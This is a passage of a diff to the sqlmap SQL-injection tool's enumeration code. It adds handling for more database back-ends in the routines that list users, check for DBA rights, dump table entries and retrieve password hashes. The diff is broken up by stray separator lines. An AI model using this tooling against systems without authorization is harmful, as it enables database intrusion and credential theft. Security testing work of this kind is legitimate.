if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
|
||||||
query = rootQuery.inband.query
|
if Backend.isFork(FORK.DRIZZLE):
|
||||||
|
query = rootQuery.inband.query2
|
||||||
|
else:
|
||||||
|
query = rootQuery.inband.query
|
||||||
|
|
||||||
while True:
|
while True:
|
||||||
values = inject.getValue(query, blind=False, time=False)
|
values = inject.getValue(query, blind=False, time=False)
|
||||||
@@ -1036,6 +1047,10 @@ class Databases(object):
|
|||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
query = rootQuery.blind.count
|
query = rootQuery.blind.count
|
||||||
|
|
||||||
|
if Backend.isFork(FORK.DRIZZLE):
|
||||||
|
query = query.replace("INFORMATION_SCHEMA", "DATA_DICTIONARY")
|
||||||
|
|
||||||
count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
|
count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
|
||||||
|
|
||||||
if count == 0:
|
if count == 0:
|
||||||
@@ -1044,7 +1059,7 @@ class Databases(object):
|
|||||||
errMsg = "unable to retrieve the number of statements"
|
errMsg = "unable to retrieve the number of statements"
|
||||||
raise SqlmapNoneDataException(errMsg)
|
raise SqlmapNoneDataException(errMsg)
|
||||||
|
|
||||||
plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.ALTIBASE)
|
plusOne = Backend.getIdentifiedDbms() in PLUS_ONE_DBMSES
|
||||||
indexRange = getLimitRange(count, plusOne=plusOne)
|
indexRange = getLimitRange(count, plusOne=plusOne)
|
||||||
|
|
||||||
for index in indexRange:
|
for index in indexRange:
|
||||||
@@ -1060,6 +1075,10 @@ class Databases(object):
|
|||||||
|
|
||||||
if isNoneValue(value):
|
if isNoneValue(value):
|
||||||
query = rootQuery.blind.query % index
|
query = rootQuery.blind.query % index
|
||||||
|
|
||||||
|
if Backend.isFork(FORK.DRIZZLE):
|
||||||
|
query = query.replace("INFORMATION_SCHEMA", "DATA_DICTIONARY")
|
||||||
|
|
||||||
value = unArrayizeValue(inject.getValue(query, union=False, error=False))
|
value = unArrayizeValue(inject.getValue(query, union=False, error=False))
|
||||||
|
|
||||||
if not isNoneValue(value):
|
if not isNoneValue(value):
|
||||||
|
|||||||
+12
-11
@@ -43,6 +43,7 @@ from lib.core.exception import SqlmapUnsupportedFeatureException
|
|||||||
from lib.core.settings import CHECK_ZERO_COLUMNS_THRESHOLD
|
from lib.core.settings import CHECK_ZERO_COLUMNS_THRESHOLD
|
||||||
from lib.core.settings import CURRENT_DB
|
from lib.core.settings import CURRENT_DB
|
||||||
from lib.core.settings import NULL
|
from lib.core.settings import NULL
|
||||||
|
from lib.core.settings import PLUS_ONE_DBMSES
|
||||||
from lib.core.settings import UPPER_CASE_DBMSES
|
from lib.core.settings import UPPER_CASE_DBMSES
|
||||||
from lib.request import inject
|
from lib.request import inject
|
||||||
from lib.utils.hash import attackDumpedTable
|
from lib.utils.hash import attackDumpedTable
|
||||||
@@ -179,7 +180,7 @@ class Entries(object):
|
|||||||
|
|
||||||
if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE, DBMS.MIMERSQL):
|
if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE, DBMS.MIMERSQL):
|
||||||
query = rootQuery.inband.query % (colString, tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), tbl.upper())))
|
query = rootQuery.inband.query % (colString, tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), tbl.upper())))
|
||||||
elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD, DBMS.MAXDB, DBMS.MCKOI):
|
elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD, DBMS.MAXDB, DBMS.MCKOI, DBMS.EXTREMEDB):
|
||||||
query = rootQuery.inband.query % (colString, tbl)
|
query = rootQuery.inband.query % (colString, tbl)
|
||||||
elif Backend.getIdentifiedDbms() in (DBMS.SYBASE, DBMS.MSSQL):
|
elif Backend.getIdentifiedDbms() in (DBMS.SYBASE, DBMS.MSSQL):
|
||||||
# Partial inband and error
|
# Partial inband and error
|
||||||
@@ -233,7 +234,7 @@ class Entries(object):
|
|||||||
entries = BigArray(_zip(*[entries[colName] for colName in colList]))
|
entries = BigArray(_zip(*[entries[colName] for colName in colList]))
|
||||||
else:
|
else:
|
||||||
query = rootQuery.inband.query % (colString, conf.db, tbl)
|
query = rootQuery.inband.query % (colString, conf.db, tbl)
|
||||||
elif Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.VERTICA, DBMS.PRESTO):
|
elif Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.VERTICA, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE):
|
||||||
query = rootQuery.inband.query % (colString, conf.db, tbl, prioritySortColumns(colList)[0])
|
query = rootQuery.inband.query % (colString, conf.db, tbl, prioritySortColumns(colList)[0])
|
||||||
else:
|
else:
|
||||||
query = rootQuery.inband.query % (colString, conf.db, tbl)
|
query = rootQuery.inband.query % (colString, conf.db, tbl)
|
||||||
@@ -288,7 +289,7 @@ class Entries(object):
|
|||||||
|
|
||||||
if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE, DBMS.MIMERSQL):
|
if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE, DBMS.MIMERSQL):
|
||||||
query = rootQuery.blind.count % (tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), tbl.upper())))
|
query = rootQuery.blind.count % (tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), tbl.upper())))
|
||||||
elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD, DBMS.MCKOI):
|
elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD, DBMS.MCKOI, DBMS.EXTREMEDB):
|
||||||
query = rootQuery.blind.count % tbl
|
query = rootQuery.blind.count % tbl
|
||||||
elif Backend.getIdentifiedDbms() in (DBMS.SYBASE, DBMS.MSSQL):
|
elif Backend.getIdentifiedDbms() in (DBMS.SYBASE, DBMS.MSSQL):
|
||||||
query = rootQuery.blind.count % ("%s.%s" % (conf.db, tbl))
|
query = rootQuery.blind.count % ("%s.%s" % (conf.db, tbl))
|
||||||
@@ -327,11 +328,9 @@ class Entries(object):
|
|||||||
continue
|
continue
|
||||||
|
|
||||||
elif Backend.getIdentifiedDbms() in (DBMS.ACCESS, DBMS.SYBASE, DBMS.MAXDB, DBMS.MSSQL, DBMS.INFORMIX, DBMS.MCKOI):
|
elif Backend.getIdentifiedDbms() in (DBMS.ACCESS, DBMS.SYBASE, DBMS.MAXDB, DBMS.MSSQL, DBMS.INFORMIX, DBMS.MCKOI):
|
||||||
if Backend.getIdentifiedDbms() in (DBMS.ACCESS, DBMS.MCKOI):
|
if Backend.getIdentifiedDbms() in (DBMS.ACCESS, DBMS.MCKOI, DBMS.EXTREMEDB):
|
||||||
table = tbl
|
table = tbl
|
||||||
elif Backend.getIdentifiedDbms() in (DBMS.SYBASE, DBMS.MSSQL):
|
elif Backend.getIdentifiedDbms() in (DBMS.SYBASE, DBMS.MSSQL, DBMS.MAXDB):
|
||||||
table = "%s.%s" % (conf.db, tbl)
|
|
||||||
elif Backend.isDbms(DBMS.MAXDB):
|
|
||||||
table = "%s.%s" % (conf.db, tbl)
|
table = "%s.%s" % (conf.db, tbl)
|
||||||
elif Backend.isDbms(DBMS.INFORMIX):
|
elif Backend.isDbms(DBMS.INFORMIX):
|
||||||
table = "%s:%s" % (conf.db, tbl)
|
table = "%s:%s" % (conf.db, tbl)
|
||||||
@@ -381,7 +380,7 @@ class Entries(object):
|
|||||||
|
|
||||||
else:
|
else:
|
||||||
emptyColumns = []
|
emptyColumns = []
|
||||||
plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.ALTIBASE)
|
plusOne = Backend.getIdentifiedDbms() in PLUS_ONE_DBMSES
|
||||||
indexRange = getLimitRange(count, plusOne=plusOne)
|
indexRange = getLimitRange(count, plusOne=plusOne)
|
||||||
|
|
||||||
if len(colList) < len(indexRange) > CHECK_ZERO_COLUMNS_THRESHOLD:
|
if len(colList) < len(indexRange) > CHECK_ZERO_COLUMNS_THRESHOLD:
|
||||||
@@ -406,19 +405,21 @@ class Entries(object):
|
|||||||
if column not in entries:
|
if column not in entries:
|
||||||
entries[column] = BigArray()
|
entries[column] = BigArray()
|
||||||
|
|
||||||
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.VERTICA, DBMS.PRESTO):
|
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.VERTICA, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE):
|
||||||
query = rootQuery.blind.query % (agent.preprocessField(tbl, column), conf.db, conf.tbl, sorted(colList, key=len)[0], index)
|
query = rootQuery.blind.query % (agent.preprocessField(tbl, column), conf.db, conf.tbl, sorted(colList, key=len)[0], index)
|
||||||
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE,):
|
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE,):
|
||||||
query = rootQuery.blind.query % (agent.preprocessField(tbl, column), tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), tbl.upper())), index)
|
query = rootQuery.blind.query % (agent.preprocessField(tbl, column), tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), tbl.upper())), index)
|
||||||
elif Backend.getIdentifiedDbms() in (DBMS.MIMERSQL,):
|
elif Backend.getIdentifiedDbms() in (DBMS.MIMERSQL,):
|
||||||
query = rootQuery.blind.query % (agent.preprocessField(tbl, column), tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), tbl.upper())), sorted(colList, key=len)[0], index)
|
query = rootQuery.blind.query % (agent.preprocessField(tbl, column), tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), tbl.upper())), sorted(colList, key=len)[0], index)
|
||||||
elif Backend.isDbms(DBMS.SQLITE):
|
elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.EXTREMEDB):
|
||||||
query = rootQuery.blind.query % (agent.preprocessField(tbl, column), tbl, index)
|
query = rootQuery.blind.query % (agent.preprocessField(tbl, column), tbl, index)
|
||||||
elif Backend.isDbms(DBMS.FIREBIRD):
|
elif Backend.isDbms(DBMS.FIREBIRD):
|
||||||
query = rootQuery.blind.query % (index, agent.preprocessField(tbl, column), tbl)
|
query = rootQuery.blind.query % (index, agent.preprocessField(tbl, column), tbl)
|
||||||
elif Backend.isDbms(DBMS.INFORMIX):
|
elif Backend.isDbms(DBMS.INFORMIX):
|
||||||
query = rootQuery.blind.query % (index, agent.preprocessField(tbl, column), conf.db, tbl, sorted(colList, key=len)[0])
|
query = rootQuery.blind.query % (index, agent.preprocessField(tbl, column), conf.db, tbl, sorted(colList, key=len)[0])
|
||||||
elif Backend.isDbms(DBMS.MONETDB):
|
elif Backend.isDbms(DBMS.FRONTBASE):
|
||||||
|
query = rootQuery.blind.query % (index, agent.preprocessField(tbl, column), conf.db, tbl)
|
||||||
|
else:
|
||||||
query = rootQuery.blind.query % (agent.preprocessField(tbl, column), conf.db, tbl, index)
|
query = rootQuery.blind.query % (agent.preprocessField(tbl, column), conf.db, tbl, index)
|
||||||
|
|
||||||
query = agent.whereQuery(query)
|
query = agent.whereQuery(query)
|
||||||
|
|||||||
+32
-19
@@ -149,7 +149,7 @@ class Search(object):
|
|||||||
bruteForce = True
|
bruteForce = True
|
||||||
|
|
||||||
if bruteForce:
|
if bruteForce:
|
||||||
message = "do you want to use common table existence check? %s" % ("[Y/n/q]" if Backend.getIdentifiedDbms() in (DBMS.ACCESS, DBMS.MCKOI) else "[y/N/q]")
|
message = "do you want to use common table existence check? %s" % ("[Y/n/q]" if Backend.getIdentifiedDbms() in (DBMS.ACCESS, DBMS.MCKOI, DBMS.EXTREMEDB) else "[y/N/q]")
|
||||||
choice = readInput(message, default='Y' if 'Y' in message else 'N').upper()
|
choice = readInput(message, default='Y' if 'Y' in message else 'N').upper()
|
||||||
|
|
||||||
if choice == 'N':
|
if choice == 'N':
|
||||||
@@ -345,13 +345,15 @@ class Search(object):
|
|||||||
def searchColumn(self):
|
def searchColumn(self):
|
||||||
bruteForce = False
|
bruteForce = False
|
||||||
|
|
||||||
|
self.forceDbmsEnum()
|
||||||
|
|
||||||
if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
|
if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
|
||||||
errMsg = "information_schema not available, "
|
errMsg = "information_schema not available, "
|
||||||
errMsg += "back-end DBMS is MySQL < 5.0"
|
errMsg += "back-end DBMS is MySQL < 5.0"
|
||||||
bruteForce = True
|
bruteForce = True
|
||||||
|
|
||||||
if bruteForce:
|
if bruteForce:
|
||||||
message = "do you want to use common column existence check? %s" % ("[Y/n/q]" if Backend.getIdentifiedDbms() in (DBMS.ACCESS, DBMS.MCKOI) else "[y/N/q]")
|
message = "do you want to use common column existence check? %s" % ("[Y/n/q]" if Backend.getIdentifiedDbms() in (DBMS.ACCESS, DBMS.MCKOI, DBMS.EXTREMEDB) else "[y/N/q]")
|
||||||
choice = readInput(message, default='Y' if 'Y' in message else 'N').upper()
|
choice = readInput(message, default='Y' if 'Y' in message else 'N').upper()
|
||||||
|
|
||||||
if choice == 'N':
|
if choice == 'N':
|
||||||
@@ -406,24 +408,26 @@ class Search(object):
|
|||||||
|
|
||||||
foundCols[column] = {}
|
foundCols[column] = {}
|
||||||
|
|
||||||
if conf.tbl:
|
if tblCond:
|
||||||
_ = conf.tbl.split(',')
|
if conf.tbl:
|
||||||
whereTblsQuery = " AND (" + " OR ".join("%s = '%s'" % (tblCond, unsafeSQLIdentificatorNaming(tbl)) for tbl in _) + ")"
|
_ = conf.tbl.split(',')
|
||||||
infoMsgTbl = " for table%s '%s'" % ("s" if len(_) > 1 else "", ", ".join(unsafeSQLIdentificatorNaming(tbl) for tbl in _))
|
whereTblsQuery = " AND (" + " OR ".join("%s = '%s'" % (tblCond, unsafeSQLIdentificatorNaming(tbl)) for tbl in _) + ")"
|
||||||
|
infoMsgTbl = " for table%s '%s'" % ("s" if len(_) > 1 else "", ", ".join(unsafeSQLIdentificatorNaming(tbl) for tbl in _))
|
||||||
|
|
||||||
if conf.db == CURRENT_DB:
|
if conf.db == CURRENT_DB:
|
||||||
conf.db = self.getCurrentDb()
|
conf.db = self.getCurrentDb()
|
||||||
|
|
||||||
if conf.db:
|
if dbCond:
|
||||||
_ = conf.db.split(',')
|
if conf.db:
|
||||||
whereDbsQuery = " AND (" + " OR ".join("%s = '%s'" % (dbCond, unsafeSQLIdentificatorNaming(db)) for db in _) + ")"
|
_ = conf.db.split(',')
|
||||||
infoMsgDb = " in database%s '%s'" % ("s" if len(_) > 1 else "", ", ".join(unsafeSQLIdentificatorNaming(db) for db in _))
|
whereDbsQuery = " AND (" + " OR ".join("%s = '%s'" % (dbCond, unsafeSQLIdentificatorNaming(db)) for db in _) + ")"
|
||||||
elif conf.excludeSysDbs:
|
infoMsgDb = " in database%s '%s'" % ("s" if len(_) > 1 else "", ", ".join(unsafeSQLIdentificatorNaming(db) for db in _))
|
||||||
whereDbsQuery = "".join(" AND %s != '%s'" % (dbCond, unsafeSQLIdentificatorNaming(db)) for db in self.excludeDbsList)
|
elif conf.excludeSysDbs:
|
||||||
msg = "skipping system database%s '%s'" % ("s" if len(self.excludeDbsList) > 1 else "", ", ".join(unsafeSQLIdentificatorNaming(db) for db in self.excludeDbsList))
|
whereDbsQuery = "".join(" AND %s != '%s'" % (dbCond, unsafeSQLIdentificatorNaming(db)) for db in self.excludeDbsList)
|
||||||
logger.info(msg)
|
msg = "skipping system database%s '%s'" % ("s" if len(self.excludeDbsList) > 1 else "", ", ".join(unsafeSQLIdentificatorNaming(db) for db in self.excludeDbsList))
|
||||||
else:
|
logger.info(msg)
|
||||||
infoMsgDb = " across all databases"
|
else:
|
||||||
|
infoMsgDb = " across all databases"
|
||||||
|
|
||||||
logger.info("%s%s%s" % (infoMsg, infoMsgTbl, infoMsgDb))
|
logger.info("%s%s%s" % (infoMsg, infoMsgTbl, infoMsgDb))
|
||||||
|
|
||||||
@@ -446,6 +450,9 @@ class Search(object):
|
|||||||
for tbl in conf.tbl.split(','):
|
for tbl in conf.tbl.split(','):
|
||||||
values.append([safeSQLIdentificatorNaming(db), safeSQLIdentificatorNaming(tbl, True)])
|
values.append([safeSQLIdentificatorNaming(db), safeSQLIdentificatorNaming(tbl, True)])
|
||||||
|
|
||||||
|
if Backend.getIdentifiedDbms() in (DBMS.FIREBIRD,):
|
||||||
|
values = [(conf.db, value) for value in arrayizeValue(values)]
|
||||||
|
|
||||||
for db, tbl in filterPairValues(values):
|
for db, tbl in filterPairValues(values):
|
||||||
db = safeSQLIdentificatorNaming(db)
|
db = safeSQLIdentificatorNaming(db)
|
||||||
tbls = tbl.split(',') if not isNoneValue(tbl) else []
|
tbls = tbl.split(',') if not isNoneValue(tbl) else []
|
||||||
@@ -538,8 +545,12 @@ class Search(object):
|
|||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
query = rootQuery.blind.count2
|
query = rootQuery.blind.count2
|
||||||
query = query % unsafeSQLIdentificatorNaming(db)
|
if not re.search(r"(?i)%s\Z" % METADB_SUFFIX, db or ""):
|
||||||
query += " AND %s" % colQuery
|
query = query % unsafeSQLIdentificatorNaming(db)
|
||||||
|
query += " AND %s" % colQuery
|
||||||
|
else:
|
||||||
|
query = query % colQuery
|
||||||
|
|
||||||
query += whereTblsQuery
|
query += whereTblsQuery
|
||||||
|
|
||||||
count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
|
count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
|
||||||
@@ -559,7 +570,9 @@ class Search(object):
|
|||||||
for index in indexRange:
|
for index in indexRange:
|
||||||
query = rootQuery.blind.query2
|
query = rootQuery.blind.query2
|
||||||
|
|
||||||
if query.endswith("'%s')"):
|
if re.search(r"(?i)%s\Z" % METADB_SUFFIX, db or ""):
|
||||||
|
query = query % (colQuery + whereTblsQuery)
|
||||||
|
elif query.endswith("'%s')"):
|
||||||
query = query[:-1] + " AND %s)" % (colQuery + whereTblsQuery)
|
query = query[:-1] + " AND %s)" % (colQuery + whereTblsQuery)
|
||||||
elif " ORDER BY " in query:
|
elif " ORDER BY " in query:
|
||||||
query = query.replace(" ORDER BY ", " AND %s ORDER BY " % (colQuery + whereTblsQuery))
|
query = query.replace(" ORDER BY ", " AND %s ORDER BY " % (colQuery + whereTblsQuery))
|
||||||
|
|||||||
+30
-18
@@ -36,10 +36,12 @@ from lib.core.dicts import PGSQL_PRIVS
|
|||||||
from lib.core.enums import CHARSET_TYPE
|
from lib.core.enums import CHARSET_TYPE
|
||||||
from lib.core.enums import DBMS
|
from lib.core.enums import DBMS
|
||||||
from lib.core.enums import EXPECTED
|
from lib.core.enums import EXPECTED
|
||||||
|
from lib.core.enums import FORK
|
||||||
from lib.core.enums import PAYLOAD
|
from lib.core.enums import PAYLOAD
|
||||||
from lib.core.exception import SqlmapNoneDataException
|
from lib.core.exception import SqlmapNoneDataException
|
||||||
from lib.core.exception import SqlmapUserQuitException
|
from lib.core.exception import SqlmapUserQuitException
|
||||||
from lib.core.settings import CURRENT_USER
|
from lib.core.settings import CURRENT_USER
|
||||||
|
from lib.core.settings import PLUS_ONE_DBMSES
|
||||||
from lib.core.threads import getCurrentThreadData
|
from lib.core.threads import getCurrentThreadData
|
||||||
from lib.request import inject
|
from lib.request import inject
|
||||||
from lib.utils.hash import attackCachedUsersPasswords
|
from lib.utils.hash import attackCachedUsersPasswords
|
||||||
@@ -75,16 +77,22 @@ class Users(object):
|
|||||||
infoMsg = "testing if current user is DBA"
|
infoMsg = "testing if current user is DBA"
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
|
query = None
|
||||||
|
|
||||||
if Backend.isDbms(DBMS.MYSQL):
|
if Backend.isDbms(DBMS.MYSQL):
|
||||||
self.getCurrentUser()
|
self.getCurrentUser()
|
||||||
query = queries[Backend.getIdentifiedDbms()].is_dba.query % (kb.data.currentUser.split("@")[0] if kb.data.currentUser else None)
|
if Backend.isFork(FORK.DRIZZLE):
|
||||||
|
kb.data.isDba = "root" in (kb.data.currentUser or "")
|
||||||
|
elif kb.data.currentUser:
|
||||||
|
query = queries[Backend.getIdentifiedDbms()].is_dba.query % kb.data.currentUser.split("@")[0]
|
||||||
elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE) and user is not None:
|
elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE) and user is not None:
|
||||||
query = queries[Backend.getIdentifiedDbms()].is_dba.query2 % user
|
query = queries[Backend.getIdentifiedDbms()].is_dba.query2 % user
|
||||||
else:
|
else:
|
||||||
query = queries[Backend.getIdentifiedDbms()].is_dba.query
|
query = queries[Backend.getIdentifiedDbms()].is_dba.query
|
||||||
|
|
||||||
query = agent.forgeCaseStatement(query)
|
if query:
|
||||||
kb.data.isDba = inject.checkBooleanExpression(query) or False
|
query = agent.forgeCaseStatement(query)
|
||||||
|
kb.data.isDba = inject.checkBooleanExpression(query) or False
|
||||||
|
|
||||||
return kb.data.isDba
|
return kb.data.isDba
|
||||||
|
|
||||||
@@ -98,10 +106,13 @@ class Users(object):
|
|||||||
condition |= (Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema)
|
condition |= (Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema)
|
||||||
|
|
||||||
if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
|
if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
|
||||||
if condition:
|
if Backend.isFork(FORK.DRIZZLE):
|
||||||
|
query = rootQuery.inband.query3
|
||||||
|
elif condition:
|
||||||
query = rootQuery.inband.query2
|
query = rootQuery.inband.query2
|
||||||
else:
|
else:
|
||||||
query = rootQuery.inband.query
|
query = rootQuery.inband.query
|
||||||
|
|
||||||
values = inject.getValue(query, blind=False, time=False)
|
values = inject.getValue(query, blind=False, time=False)
|
||||||
|
|
||||||
if not isNoneValue(values):
|
if not isNoneValue(values):
|
||||||
@@ -115,7 +126,9 @@ class Users(object):
|
|||||||
infoMsg = "fetching number of database users"
|
infoMsg = "fetching number of database users"
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
if condition:
|
if Backend.isFork(FORK.DRIZZLE):
|
||||||
|
query = rootQuery.blind.count3
|
||||||
|
elif condition:
|
||||||
query = rootQuery.blind.count2
|
query = rootQuery.blind.count2
|
||||||
else:
|
else:
|
||||||
query = rootQuery.blind.count
|
query = rootQuery.blind.count
|
||||||
@@ -128,16 +141,19 @@ class Users(object):
|
|||||||
errMsg = "unable to retrieve the number of database users"
|
errMsg = "unable to retrieve the number of database users"
|
||||||
raise SqlmapNoneDataException(errMsg)
|
raise SqlmapNoneDataException(errMsg)
|
||||||
|
|
||||||
plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.ALTIBASE)
|
plusOne = Backend.getIdentifiedDbms() in PLUS_ONE_DBMSES
|
||||||
indexRange = getLimitRange(count, plusOne=plusOne)
|
indexRange = getLimitRange(count, plusOne=plusOne)
|
||||||
|
|
||||||
for index in indexRange:
|
for index in indexRange:
|
||||||
if Backend.getIdentifiedDbms() in (DBMS.SYBASE, DBMS.MAXDB):
|
if Backend.getIdentifiedDbms() in (DBMS.SYBASE, DBMS.MAXDB):
|
||||||
query = rootQuery.blind.query % (kb.data.cachedUsers[-1] if kb.data.cachedUsers else " ")
|
query = rootQuery.blind.query % (kb.data.cachedUsers[-1] if kb.data.cachedUsers else " ")
|
||||||
|
elif Backend.isFork(FORK.DRIZZLE):
|
||||||
|
query = rootQuery.blind.query3 % index
|
||||||
elif condition:
|
elif condition:
|
||||||
query = rootQuery.blind.query2 % index
|
query = rootQuery.blind.query2 % index
|
||||||
else:
|
else:
|
||||||
query = rootQuery.blind.query % index
|
query = rootQuery.blind.query % index
|
||||||
|
|
||||||
user = unArrayizeValue(inject.getValue(query, union=False, error=False))
|
user = unArrayizeValue(inject.getValue(query, union=False, error=False))
|
||||||
|
|
||||||
if user:
|
if user:
|
||||||
@@ -293,7 +309,7 @@ class Users(object):
|
|||||||
|
|
||||||
passwords = []
|
passwords = []
|
||||||
|
|
||||||
plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.ALTIBASE)
|
plusOne = Backend.getIdentifiedDbms() in PLUS_ONE_DBMSES
|
||||||
indexRange = getLimitRange(count, plusOne=plusOne)
|
indexRange = getLimitRange(count, plusOne=plusOne)
|
||||||
|
|
||||||
for index in indexRange:
|
for index in indexRange:
|
||||||
@@ -335,9 +351,7 @@ class Users(object):
|
|||||||
|
|
||||||
if not kb.data.cachedUsersPasswords:
|
if not kb.data.cachedUsersPasswords:
|
||||||
errMsg = "unable to retrieve the password hashes for the "
|
errMsg = "unable to retrieve the password hashes for the "
|
||||||
errMsg += "database users (probably because the DBMS "
|
errMsg += "database users"
|
||||||
errMsg += "current user has no read privileges over the relevant "
|
|
||||||
errMsg += "system database table(s))"
|
|
||||||
logger.error(errMsg)
|
logger.error(errMsg)
|
||||||
else:
|
else:
|
||||||
for user in kb.data.cachedUsersPasswords:
|
for user in kb.data.cachedUsersPasswords:
|
||||||
@@ -436,12 +450,12 @@ class Users(object):
|
|||||||
# In PostgreSQL we get 1 if the privilege is
|
# In PostgreSQL we get 1 if the privilege is
|
||||||
# True, 0 otherwise
|
# True, 0 otherwise
|
||||||
if Backend.isDbms(DBMS.PGSQL) and getUnicode(privilege).isdigit():
|
if Backend.isDbms(DBMS.PGSQL) and getUnicode(privilege).isdigit():
|
||||||
if int(privilege) == 1:
|
if int(privilege) == 1 and count in PGSQL_PRIVS:
|
||||||
privileges.add(PGSQL_PRIVS[count])
|
privileges.add(PGSQL_PRIVS[count])
|
||||||
|
|
||||||
# In MySQL >= 5.0 and Oracle we get the list
|
# In MySQL >= 5.0 and Oracle we get the list
|
||||||
# of privileges as string
|
# of privileges as string
|
||||||
elif Backend.isDbms(DBMS.ORACLE) or (Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema) or Backend.getIdentifiedDbms() in (DBMS.VERTICA, DBMS.MIMERSQL):
|
elif Backend.isDbms(DBMS.ORACLE) or (Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema) or Backend.getIdentifiedDbms() in (DBMS.VERTICA, DBMS.MIMERSQL, DBMS.CUBRID):
|
||||||
privileges.add(privilege)
|
privileges.add(privilege)
|
||||||
|
|
||||||
# In MySQL < 5.0 we get Y if the privilege is
|
# In MySQL < 5.0 we get Y if the privilege is
|
||||||
@@ -541,7 +555,7 @@ class Users(object):
|
|||||||
|
|
||||||
privileges = set()
|
privileges = set()
|
||||||
|
|
||||||
plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.ALTIBASE)
|
plusOne = Backend.getIdentifiedDbms() in PLUS_ONE_DBMSES
|
||||||
indexRange = getLimitRange(count, plusOne=plusOne)
|
indexRange = getLimitRange(count, plusOne=plusOne)
|
||||||
|
|
||||||
for index in indexRange:
|
for index in indexRange:
|
||||||
@@ -571,16 +585,14 @@ class Users(object):
|
|||||||
i = 1
|
i = 1
|
||||||
|
|
||||||
for priv in privs:
|
for priv in privs:
|
||||||
if priv.isdigit() and int(priv) == 1:
|
if priv.isdigit() and int(priv) == 1 and i in PGSQL_PRIVS:
|
||||||
for position, pgsqlPriv in PGSQL_PRIVS.items():
|
privileges.add(PGSQL_PRIVS[i])
|
||||||
if position == i:
|
|
||||||
privileges.add(pgsqlPriv)
|
|
||||||
|
|
||||||
i += 1
|
i += 1
|
||||||
|
|
||||||
# In MySQL >= 5.0 and Oracle we get the list
|
# In MySQL >= 5.0 and Oracle we get the list
|
||||||
# of privileges as string
|
# of privileges as string
|
||||||
elif Backend.isDbms(DBMS.ORACLE) or (Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema) or Backend.getIdentifiedDbms() in (DBMS.VERTICA, DBMS.MIMERSQL):
|
